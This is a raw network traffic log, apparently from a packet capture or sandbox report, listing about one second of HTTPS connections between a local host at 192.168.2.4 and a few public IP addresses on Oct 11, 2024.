Oct 11, 2024 20:29:09.000808001 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.000825882 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.000833988 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.000873089 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.000879049 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.000921011 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.000957012 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.029975891 CEST	443	49764	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.040267944 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.042445898 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.047722101 CEST	443	49763	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.069905996 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.071616888 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.071635008 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.071764946 CEST	49764	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.071788073 CEST	443	49764	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.071966887 CEST	49762	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.071983099 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.072175026 CEST	49763	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.072196960 CEST	443	49763	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.072418928 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.072993040 CEST	443	49764	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.073523998 CEST	443	49763	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.075257063 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.075320005 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.076088905 CEST	49762	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.076143026 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.076716900 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.076900959 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.081248999 CEST	49763	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.081518888 CEST	443	49763	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.086927891 CEST	49764	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.087152004 CEST	443	49764	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.095122099 CEST	49762	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.095273018 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.095298052 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.095406055 CEST	49763	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.095439911 CEST	49764	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.109954119 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.109994888 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.132622004 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.135416031 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.139410019 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.139420986 CEST	443	49764	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.139439106 CEST	443	49763	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.142555952 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.142571926 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.143372059 CEST	49767	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:09.143429041 CEST	443	49767	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:09.143557072 CEST	49767	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:09.144054890 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.144123077 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.145164967 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.145242929 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.145453930 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.145462036 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.145733118 CEST	49767	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:09.145756006 CEST	443	49767	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:09.157888889 CEST	49768	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:09.157978058 CEST	443	49768	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:09.158051968 CEST	49768	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:09.158317089 CEST	49768	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:09.158354044 CEST	443	49768	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:09.195570946 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.199012041 CEST	443	49764	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.199482918 CEST	443	49764	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.199665070 CEST	49764	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.200881958 CEST	49764	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.200927019 CEST	443	49764	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.201514959 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.201615095 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.201659918 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.201668978 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.201721907 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.201731920 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.201811075 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.201817989 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.201852083 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.203073025 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.203141928 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.203180075 CEST	49762	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.203192949 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.203233957 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.203275919 CEST	49762	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.206585884 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.206594944 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.206645966 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.206653118 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.206687927 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.207039118 CEST	443	49763	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.207284927 CEST	443	49763	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.207361937 CEST	49763	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.208291054 CEST	49762	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.208304882 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.212361097 CEST	49763	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.212390900 CEST	443	49763	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.288537979 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.288604975 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.288640976 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.288646936 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.288661957 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.288700104 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.289369106 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.289377928 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.289427996 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.290230989 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.290240049 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.290266991 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.290527105 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.290544033 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.290581942 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.290596962 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.290633917 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.290641069 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.290684938 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.290924072 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.290941000 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.331760883 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.380017042 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.380033970 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.380074024 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.380079031 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.380101919 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.380786896 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.380799055 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.380820990 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.380827904 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.380836964 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.380867004 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.381550074 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.381604910 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.381611109 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.381654978 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.382518053 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.382559061 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.382575035 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.382582903 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.382617950 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.470607042 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.470686913 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.470700026 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.470712900 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.470746040 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.471029997 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.471066952 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.471084118 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.471091986 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.471106052 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.471431971 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.471468925 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.471479893 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.471487999 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.471501112 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.471518040 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.472692966 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.472733974 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.472754002 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.472760916 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.472785950 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.510817051 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.510843992 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.510883093 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.510896921 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.510924101 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.550731897 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.561302900 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.561316013 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.561356068 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.561376095 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.561388969 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.561419964 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.561436892 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.561861038 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.561891079 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.561923981 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.561929941 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.561954975 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.561965942 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.562887907 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.562907934 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.562951088 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.562958002 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.562990904 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.562993050 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.563004971 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.563030005 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.563039064 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.563045025 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.563071966 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.563082933 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.566421032 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.566440105 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.566471100 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.566478014 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.566505909 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.566519022 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.567331076 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.567356110 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.567398071 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.567403078 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.567426920 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.567440987 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.601373911 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.601393938 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.601432085 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.601442099 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.601468086 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.601488113 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.636343002 CEST	443	49768	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:09.636717081 CEST	49768	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:09.636780977 CEST	443	49768	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:09.638282061 CEST	443	49768	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:09.638350010 CEST	49768	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:09.638811111 CEST	49768	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:09.638886929 CEST	443	49768	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:09.638982058 CEST	49768	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:09.638989925 CEST	443	49768	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:09.651657104 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.651717901 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.651721001 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.651745081 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.651758909 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.651788950 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.651793957 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.651813984 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.651830912 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.651854038 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.651854038 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.652280092 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.652307034 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.652335882 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.652340889 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.652365923 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.652381897 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.652699947 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.652719975 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.652749062 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.652754068 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.652779102 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.652806044 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.653152943 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.653173923 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.653203011 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.653208971 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.653243065 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.653259039 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.653434038 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.653454065 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.653480053 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.653485060 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.653510094 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.653522015 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.653697968 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.653714895 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.653748989 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.653754950 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.653784037 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.653803110 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.653933048 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.653949976 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.653980017 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.653985023 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.654009104 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.654026031 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.691472054 CEST	49768	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:09.742145061 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.742170095 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.742238998 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.742253065 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.742321014 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.742450953 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.742468119 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.742511034 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.742517948 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.742548943 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.742548943 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.742733955 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.742754936 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.742784023 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.742789984 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.742839098 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.742839098 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.743030071 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.743048906 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.743082047 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.743098021 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.743130922 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.743160963 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.743374109 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.743402958 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.743432045 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.743447065 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.743458033 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.743484020 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.743644953 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.743709087 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.743710995 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.743726015 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.743743896 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.743784904 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.743784904 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.743793011 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.743913889 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.744183064 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.744200945 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.744265079 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.744272947 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.744343996 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.767235994 CEST	443	49768	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:09.767462969 CEST	443	49768	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:09.767693043 CEST	49768	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:09.768080950 CEST	49768	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:09.768122911 CEST	443	49768	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:09.832838058 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.832865953 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.832907915 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.832918882 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.832930088 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.832964897 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.832964897 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.832973957 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.832995892 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.833014965 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.833019972 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.833034992 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.833045959 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.833122969 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.833219051 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.833306074 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.833507061 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.833528042 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.833556890 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.833561897 CEST	443	49766	76.76.21.21	192.168.2.4
